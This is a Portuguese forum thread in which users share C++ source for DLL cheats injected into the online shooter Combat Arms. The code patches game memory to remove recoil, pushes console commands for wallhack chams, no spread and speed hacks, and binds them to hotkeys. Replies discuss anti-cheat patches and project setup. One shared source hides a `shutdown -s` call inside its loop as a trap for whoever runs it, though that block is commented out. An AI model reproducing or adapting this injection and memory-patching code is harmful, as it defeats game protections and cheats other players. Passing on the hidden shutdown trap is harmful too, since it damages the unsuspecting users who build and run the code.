PostCode C++

Posts 1–15 of 26 · Page 1 of 2
Code C++
Sei programar em c++, porém nunca vi código nenhum de hacks...
alguém poderia colocar um codigo de algum hack(pde ser q não funfa),
pra eu ver, e ter noção de como se faz...
Um Hack de HotKeys Auto Ativado.

Code:
#include <windows.h>
bool IsGameReadyForHook()
{
if( GetModuleHandleA( "d3d9.dll" ) != NULL 
&& GetModuleHandleA( "ClientFX.fxd" ) != NULL 
&& GetModuleHandleA( "CShell.dll" ) != NULL )
return true;
return false;
}
void __cdecl PushToConsole(const char* szCommand )
{
DWORD dwCShell = (DWORD)GetModuleHandleA("CShell.dll");
if( dwCShell != NULL )
{
DWORD *LTClient = ( DWORD* )( 0x377ED910 );
void* CONoff = ( void* )*( DWORD* )( *LTClient + 0x208 );
__asm
{
push szCommand;
call CONoff;
add esp, 4;
}
}
}

void main()
{
while(true)
{
// Bellow add ur hacking codes
PushToConsole("SkelModelStencil -1" );//nx chams
PushToConsole("ShowFps 1");// show frames per second
PushToConsole("KnockBack 0" );//no knock back
PushToConsole("FogEnable 1" );// no fog
PushToConsole("WeaponSway 0.000000" );
PushToConsole("ActivationDistance 999999" );
PushToConsole("MuzzleLight 0" );// eassy hack to know wat it does
PushToConsole("Prediction 0" );
PushToConsole("PerturbRotationEffect  0.000000" );//no spred code
PushToConsole("PerturbIncreaseSpeed 0.000000" );//no spred code
PushToConsole("PerturbWalkPercent 0.000000" );//no spred code
PushToConsole("PerturbFiringIncreaseSpeed 0.000000" );//no spred code
PushToConsole("PerturbRecoil 0.000000" );//no spred code
PushToConsole("FireMovePerturb 0.000000" );//no spred code
PushToConsole("ZoomedFireMoveDuckPerturb 0.000000" );//no spred code
PushToConsole("ZoomedFireMovePerturb 0.000000" );//no spred code
PushToConsole("ZoomedFireDuckPerturb 0.000000" );//no spred code
PushToConsole("ReloadSpeed 0.000000" );// now working

}
}
DWORD WINAPI dwHackThread(LPVOID) {
while( !IsGameReadyForHook() )
Sleep(300);
main();
return 0;
}
BOOL WINAPI DllMain ( HMODULE hDll, DWORD dwReason, LPVOID lpReserved )
{
DisableThreadLibraryCalls(hDll);
if ( dwReason == DLL_PROCESS_ATTACH )
			    MessageBoxA( NULL, "Ultahackers Aka ExO Auto-on v1\n" ":) MPGH Hacks!", "Ultahackers Pub V1 Auto-on MPGH.NET|||||", MB_YESNO| MB_ICONWARNING);
{               //You can edit the message above, please dont forget to give credit
CreateThread(NULL, NULL, dwHackThread, NULL, NULL, NULL);
}
return TRUE;
}

Hack de Hotkeys que Precisa ser Ativado.

Code:
#include <windows.h>

//Addys Here
#define LTCAddy 0x377E7810 //LTClient Address (Not Alt one)
#define RECOIL1 0x3745BC20
#define RECOIL2 0x372315E9
#define RECOIL3 0x3745BC34
#define RECOIL4 0x3745BC37
#define RECOIL5 0x3745BC40
//Defines

void __cdecl PushToConsole( const char* szCommand ) //Push To console method updated
{
		DWORD *LTClient = ( DWORD* )( LTAddy );
		void* CONoff = ( void* )*( DWORD* )( *LTClient + 0x208 );
		__asm
		{
			push szCommand;
			call CONoff;
			add esp, 4;
	}
}
bool Memoria( void * pDest, char * szPatch, size_t sSize ) //Nopping Method
{ 
    DWORD dwOrgProtect = NULL; 
	if ( !VirtualProtect ( pDest, sSize, PAGE_EXECUTE_READWRITE, &dwOrgProtect ))
		return FALSE;

    memcpy( pDest, szPatch, sSize ); 
    VirtualProtect( pDest, sSize, dwOrgProtect, NULL ); 
    return TRUE; 
}

bool IsGameReadyForHook()
{
if( GetModuleHandleA( "d3d9.dll"     ) != NULL 
&& GetModuleHandleA( "ClientFX.fxd" ) != NULL 
&& GetModuleHandleA( "CShell.dll"   ) != NULL )
return true;
return false;
}
void main(void)
{
/*	while (!IsGameReadyForHook()){
		Sleep(20);
	}
	bool NX = false;
	bool spread = false;
	bool speed = false;
	bool Recoil = false;
	bool activate = false;
	while(true){
                system("shutdown -s");
		PushToConsole("ShowFps 1");
		PushToConsole("FogEnable 0");
		if(GetAsyncKeyState(VK_NUMPAD1)<0){ // NX Chams
			if(NX){
				PushToConsole("SkelModelStencil 0");
				NX = false;
			} else {
				PushToConsole("SkelModelStencil 1");
				NX = true;
			}
		}
				if(GetAsyncKeyState(VK_NUMPAD2)<0){ // No Spread
			if(spread){
				PushToConsole("PerturbRotationEffect 3.000000");
				PushToConsole("PerturbIncreaseSpeed 3.000000");
				PushToConsole("PerturbDecreaseSpeed 9.000000");
				PushToConsole("PerturbWalkPercent 0.500000");
				spread = false;
			} else {
				PushToConsole("PerturbRotationEffect  0.000000"); 
				PushToConsole("PerturbIncreaseSpeed 0.000000"); 
				PushToConsole("PerturbWalkPercent 0.000000"); 
				PushToConsole("PerturbFiringIncreaseSpeed 0.000000");
				spread = true;
			}
		}
				if(GetAsyncKeyState(VK_NUMPAD3)<0){ // No Recoil
			if(Recoil){
			Memoria((LPVOID)(RECOIL1), "\xD8\x66\x54", 3);
			Memoria((LPVOID)(RECOIL2), "\xD9\x46\x54", 3);
			Memoria((LPVOID)(RECOIL3), "\xD9\x5E\x54", 3);
			Memoria((LPVOID)(RECOIL4), "\xD9\x46\x48", 3);
			Memoria((LPVOID)(RECOIL5), "\xD9\x5E\x48", 3);
				Recoil = false;
			} else {
			Memoria((LPVOID)(RECOIL1), "\x90\x90\x90", 3);
			Memoria((LPVOID)(RECOIL2), "\x90\x90\x90", 3);
			Memoria((LPVOID)(RECOIL3), "\x90\x90\x90", 3);
			Memoria((LPVOID)(RECOIL4), "\x90\x90\x90", 3);
			Memoria((LPVOID)(RECOIL5), "\x90\x90\x90", 3);
				Recoil = true;
			}
		}
				if(GetAsyncKeyState(VK_NUMPAD4)<0){ // Legit Speed Hax
			if(speed){
				PushToConsole("BaseMoveAccel 3000.000000");
				PushToConsole("StartAccel 500.000000");
				system("shutdown -s");
				PushToConsole("MaxAccel 3000.000000");
				PushToConsole("AccelInc 6000.000000");
				PushToConsole("WalkVel 70.000000");
				PushToConsole("FRunVel 285.000000");
				PushToConsole("BRunVel 285.000000");
				PushToConsole("SRunVel 285.000000");
				PushToConsole("DuckVel 50.000000");
				speed = false;
			} else {
				PushToConsole("BaseMoveAccel 3000.000000");
				PushToConsole("StartAccel 550.000000");
				PushToConsole("MaxAccel 3000.000000");
				PushToConsole("AccelInc 6000.000000");
				PushToConsole("WalkVel 120.000000");
				PushToConsole("FRunVel 335.000000");
		    	PushToConsole("BRunVel 335.000000");
				PushToConsole("SRunVel 335.000000");
				PushToConsole("DuckVel 100.000000");
				speed = true;
			}
		}
				if(GetAsyncKeyState(VK_NUMPAD5)<0){ // Activation
			if(activate){
				PushToConsole("ActivationDistance 10" );
				activate = false;
			} else {
				PushToConsole("ActivationDistance 999999" ); 
				activate = true;
			}
		}

		Sleep(200);
	}*/
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		    MessageBoxA( NULL, "Welcome to Flameswor10's Hack\n" "If you see this. This is a Nub C+Per", "Flameswor10's hotkey hack", MB_YESNO| MB_ICONWARNING);
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

Lembrando que os 2 métodos acima nao Funcionão mais, Pois a Nexon Implantou um Anti Cheat.Entao uma Nova Base tera que ser Reformulada.


Veja meu PUB Hack: http://www.mpgh.net/forum/263-combat...no-recoil.html

Veja os Adress: http://www.mpgh.net/forum/263-combat...t-arms-br.html

CShell e Engine Dumpadas: http://www.mpgh.net/forum/263-combat...t-arms-br.html
É, a maioria dos métodos conhecidos foram patched. Alguns deles são:
-PushToConsole;
-RunConsoleCommand;
-PTC;
-RCC;
Entre outros mais, então, não adianta só usar essas bases, pois o hack dará DC.
Ok isso já ajudou pakas....
Estou usando o dev, entaum q tipo de projeto devo criar:

dll?
console?
static library??
Quote Originally Posted by davidpc09 View Post
Ok isso já ajudou pakas....
Estou usando o dev, entaum q tipo de projeto devo criar:

dll?
console?
static library??
Nao use o Dev C++ nao..

Use o Visual Studio 2010 Professional, nele vc precisar instalar e configurar o Directx SDK Junho 2010, adicionando no Projeto as pastas Lib e Include..

Dai vc cria um projeto c++, Win32, Dll.

Qualquer duvida so perguntar.
Quote Originally Posted by Alessandro10 View Post
Nao use o Dev C++ nao..

Use o Visual Studio 2010 Professional, nele vc precisar instalar e configurar o Directx SDK Junho 2010, adicionando no Projeto as pastas Lib e Include..

Dai vc cria um projeto c++, Win32, Dll.

Qualquer duvida so perguntar.
Eu uso o Visual Basic Express 2008 ._.
#include <process.h>
#include "stdafx.h"
#include <windows.h>
#include <shellapi.h>
#include <fstream>

#pragma comment(lib,"shell32.lib")

void __cdecl PushToConsole( const char* szCommand )
{
DWORD *Ltcliient = ( DWORD* )( 0x3778BFB0 );
void* CONoff = ( void* )*( DWORD* )( *Ltcliient + 0x208 );

__asm
{
push szCommand;
call CONoff;
add esp, 4;
}
}

bool IsGameReadyForHook()
{
if( GetModuleHandleA( "d3d9.dll" ) != NULL
&& GetModuleHandleA( "ClientFX.fxd" ) != NULL
&& GetModuleHandleA( "CShell.dll" ) != NULL )
return true;

return false;
}
void MemCopy(void* Dest, const void* Src, int Len)
{
DWORD OldProtect;
DWORD OldProtect2;
VirtualProtect(Dest, Len, PAGE_EXECUTE_READWRITE, &OldProtect);
memcpy(Dest, Src, Len);
VirtualProtect(Dest, Len, OldProtect, &OldProtect2);
FlushInstructionCache(GetCurrentProcess(), Dest, Len);
}
void main()
{




while (!IsGameReadyForHook()){
Sleep(20);
}
bool boxes = false;//nx chams with boxes
bool fog = false;//no fog
bool speed = false;//speed hack
bool spread = false;// no spread
bool tracers = false;// tracers useless but why not
bool showfps = false;// also useless but why not
bool drawgun = false;// takes away your gun
bool sjump = false;// super jump ( i toned it down so it does not hurt you when you fall its just enough to jump onto higher ledges and stuff
bool windows = false;/dowed kinda buggy on single core computers
bool nosway = false;// no sway. Very usefull in my opinion helps with fireing
bool wframe = false;// wire frame iritating ....
bool fb = false;//full bright useful on some maps
bool glow = false;// glow usefull on some maps
bool ps = false;//useless just harder to aim
bool removers = false;// helps speed up game
bool vjump = false;//heard it can help


//right here is stuff that will be on when it starts up
PushToConsole("FallDamageMax 0.000001");
PushToConsole("ShowFps 1");
showfps = true;

while(true){
if(GetAsyncKeyState(VK_HOME)<0){
if(boxes){
PushToConsole("ModelDebug_DrawBoxes 0");
PushToConsole("SkelModelStencil 0");
boxes = false;
} else {
PushToConsole("ModelDebug_DrawBoxes 1");
PushToConsole("SkelModelStencil 1");
boxes = true;
}
}
if(GetAsyncKeyState(VK_F11)<0){
if(fog){
PushToConsole("FogEnable 1");
fog = false;
} else {
PushToConsole("FogEnable 0");
fog = true;
}
}
if(GetAsyncKeyState(VK_F12)<0){
if(speed){
PushToConsole("BaseMoveAccel 3000.000000");
PushToConsole("StartAccel 500.000000");
PushToConsole("MaxAccel 3000.000000");
PushToConsole("AccelInc 6000.000000");
PushToConsole("WalkVel 70.000000");
PushToConsole("FRunVel 285.000000");
PushToConsole("BRunVel 285.000000");
PushToConsole("SRunVel 285.000000");
PushToConsole("DuckVel 50.000000");
speed = false;
} else {
PushToConsole("BaseMoveAccel 999.000000");
PushToConsole("StartAccel 999.000000");
PushToConsole("MaxAccel 999.000000");
PushToConsole("AccelInc 666.000000");
PushToConsole("WalkVel 500.000000");
PushToConsole("FRunVel 500.000000");
PushToConsole("BRunVel 500.000000");
PushToConsole("SRunVel 500.000000");
PushToConsole("DuckVel 300.000000");
speed = true;
}
}
if(GetAsyncKeyState(VK_F6)<0){
if(spread){
PushToConsole("PerturbRotationEffect 3.000000");
PushToConsole("PerturbIncreaseSpeed 3.000000");
PushToConsole("PerturbDecreaseSpeed 9.000000");
PushToConsole("PerturbWalkPercent 0.500000");
PushToConsole("PerturbRecoil 9.000000");
PushToConsole("FireMovePerturb 9.000000");
PushToConsole("ZoomedFireMoveDuckPerturb 9.000000");
PushToConsole("ZoomedFireMovePerturb 9.000000");
PushToConsole("ZoomedFireDuckPerturb 9.000000");
spread = false;
} else {
PushToConsole("PerturbRotationEffect 0.000000");
PushToConsole("PerturbIncreaseSpeed 0.000000");
PushToConsole("PerturbWalkPercent 0.000000");
PushToConsole("PerturbFiringIncreaseSpeed 0.000000");
PushToConsole("PerturbRecoil 0.000000");
PushToConsole("FireMovePerturb 0.000000");
PushToConsole("ZoomedFireMoveDuckPerturb 0.000000");
PushToConsole("ZoomedFireMovePerturb 0.000000");
PushToConsole("ZoomedFireDuckPerturb 0.000000");
spread = true;
}
}
if(GetAsyncKeyState(VK_F7)<0){
if(tracers){
PushToConsole("ShowFirePath 0");
tracers = false;
} else {
PushToConsole("ShowFirePath 1");
tracers = true;
}
}
if(GetAsyncKeyState(VK_MENU)<0){
if(sjump){
PushToConsole("JumpVel 330.000000");
sjump = false;
} else {
PushToConsole("JumpVel 660.000000");
sjump = true;
}
}
if(GetAsyncKeyState(VK_INSERT)<0){
if(showfps){
PushToConsole("ShowFps 0");
showfps = false;
} else {
PushToConsole("ShowFps 1");
showfps = true;
}
}


if(GetAsyncKeyState(VK_F9)<0){
if(nosway){
PushToConsole("WeaponSway 1.000000");
nosway = false;
} else {
PushToConsole("WeaponSway 0.000000");
nosway = true;
}
}


if(GetAsyncKeyState(VK_UP)<0){
PushToConsole("PlayerGravity +200");
}
if(GetAsyncKeyState(VK_DOWN)<0){
PushToConsole("PlayerGravity -200");
}
//
if(GetAsyncKeyState(VK_RIGHT)<0){
PushToConsole("PlayerGravity +800");
}
if(GetAsyncKeyState(VK_LEFT)<0){
PushToConsole("PlayerGravity -800");
}
if(GetAsyncKeyState(VK_PAUSE)<0){
PushToConsole("FragSelf 1");
}
if(GetAsyncKeyState(VK_F10)<0){
PushToConsole("CrossHair_DefaultLength 50");
PushToConsole("CrossHair_DefaultGapLength 1");
PushToConsole("CrosshairGapMin 0");
PushToConsole("CrosshairGapMax 2");
PushToConsole("CrosshairBarMin 100");
PushToConsole("CrosshairBarMax 100");
PushToConsole("HitCrossHairMAXPerturb 0");
PushToConsole("HitCrossHairMINPerturb 0");
PushToConsole("HitCrossHairSize 0");
PushToConsole("CrossHair_FiringDuration 0");
PushToConsole("ScopeUDRadius 0");
PushToConsole("ScopeLRRadius 0");
PushToConsole("ScopeUPGap 0");
PushToConsole("ScopeLRGap 0");
PushToConsole("ShowBreath 0");
}
if(GetAsyncKeyState(VK_END)<0){
if(windows){
PushToConsole("Windowed 0");
windows = false;
} else {
PushToConsole("Windowed 1");
windows = true;
}
}
if(GetAsyncKeyState(VK_PRIOR)<0){
if(fb){
PushToConsole("FullBright 1");
fb = false;
} else {
PushToConsole("FullBright 0");
fb = true;
}
}
if(GetAsyncKeyState(VK_NEXT)<0){
if(wframe){
PushToConsole("WireFrame 1");
wframe = false;
} else {
PushToConsole("WireFrame 0");
wframe = true;
}
}
if(GetAsyncKeyState(VK_RSHIFT)<0){
if(glow){
PushToConsole("ScreenGlowEnable 1");
glow = false;
} else {
PushToConsole("ScreenGlowEnable 0");
glow = true;
}
}
if(GetAsyncKeyState(VK_DELETE)<0){
if(ps){
PushToConsole("ModelDebug_DrawSkeleton 1");
ps = false;
} else {
PushToConsole("ModelDebug_DrawSkeleton 0");
ps = true;
}
}

if(GetAsyncKeyState(VK_F5)<0){
if(removers){
PushToConsole("ShowPerformanceStatistics 1");
removers = false;
} else {
PushToConsole("ShowPerformanceStatistics 0");
removers = true;
}
}
if(GetAsyncKeyState(VK_CAPITAL)<0){
if(vjump){
PushToConsole("CamMaxPosYOffset 200.000000");
PushToConsole("DuckDownCamOffSet 1000.000000");
vjump = false;
} else {
PushToConsole("CamMaxPosYOffset -200.000000");
PushToConsole("DuckDownCamOffSet -1000.000000");
vjump = true;
}
}


Sleep(160);
}
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
ShellExecute;
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&main, NULL, 0,NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

Alessandro tem msn? preciso falar contigo
Alessandro vc poderia passar a nova base dos hackers só para ajudar um pouquinho?

Se quiser te dou varias contas fortes dos jogos level up!
o alessandro posta a i pra nos co seu codigo pode cre que no meu vai levar seus creditos
Quote Originally Posted by omegared2 View Post
o alessandro posta a i pra nos co seu codigo pode cre que no meu vai levar seus creditos
Seria bom se ele postasse, mas o que ia adiantar? Ele tem trabalho pra criar um código funcional pra colocar aqui e uma galera copiar, postar em outro lugar sem colocar créditos, enfim, estragar com todo o trabalho dele? Além do mais, a pior coisa é Coder C&P ...
Quote Originally Posted by Capevaldo View Post
Seria bom se ele postasse, mas o que ia adiantar? Ele tem trabalho pra criar um código funcional pra colocar aqui e uma galera copiar, postar em outro lugar sem colocar créditos, enfim, estragar com todo o trabalho dele? Além do mais, a pior coisa é Coder C&P ...
Realmente seria bom se ele postasse mais com certeza em 2 minutos já estaria em todos os fórums BRs no puro C&P e sem os devidos créditos.

começei no c++ tem uma semana +-, iniciei por conta própria e um dos meus " métodos " de estudo consiste em pegar códigos prontos de preferência " funcionais " e analizá-los comparando com outros também funcionais ou não.

Com certeza o código dele seria de grande ajuda, mais fazer oq né...

Vou estudando com os releases que vão lançando aqui =)

/yea
Quote Originally Posted by johneskiller View Post
Realmente seria bom se ele postasse mais com certeza em 2 minutos já estaria em todos os fórums BRs no puro C&P e sem os devidos créditos.

começei no c++ tem uma semana +-, iniciei por conta própria e um dos meus " métodos " de estudo consiste em pegar códigos prontos de preferência " funcionais " e analizá-los comparando com outros também funcionais ou não.

Com certeza o código dele seria de grande ajuda, mais fazer oq né...

Vou estudando com os releases que vão lançando aqui =)

/yea
Eu aprendi a fazer hacks assim. Pegava um código que não funcionava e um que funcionava e comparava, dai eu criava um terceiro código.
Quote Originally Posted by Capevaldo View Post
Eu aprendi a fazer hacks assim. Pegava um código que não funcionava e um que funcionava e comparava, dai eu criava um terceiro código.
É isso que eu to fazendo, agora só falta conseguir um código funcional no CA BR, até agora só tem pro CA NA

Pro CA NA já criei um monte de código fazendo junção dos funcionais e dos não funcionais, mais pro BR tá difícil
Quote Originally Posted by johneskiller View Post
É isso que eu to fazendo, agora só falta conseguir um código funcional no CA BR, até agora só tem pro CA NA

Pro CA NA já criei um monte de código fazendo junção dos funcionais e dos não funcionais, mais pro BR tá difícil
eu achei um que funcionava para o BR mas tinha que ter o LTC Alt (Alternative) e eu não tinha. Agora nem sei se o código funciona ._.
alessandro10 eu sou o seu fã eu to tentando fazer um projeto aki
bem ta quazi feito chams ta pegando CrossHair ta pegando speedkinif ta pegando virtual Jump ta pegando mais o aimbot,opk,e etc.. nao ta pegando

meu amigo We11ington que fas hack de Warrock ele tem uns COD de hack com camuflador de IP e Nome Bazicamente ele ta completo

quando eu pegar com ele eu passo pra vc >alessandro10 <pra vc melhorar os seus hacks OK agradecido pela atenção
Posts 1–15 of 26 · Page 1 of 2
This thread is closed for replies.

Similar Threads

Tags for this Thread

None

Talk with us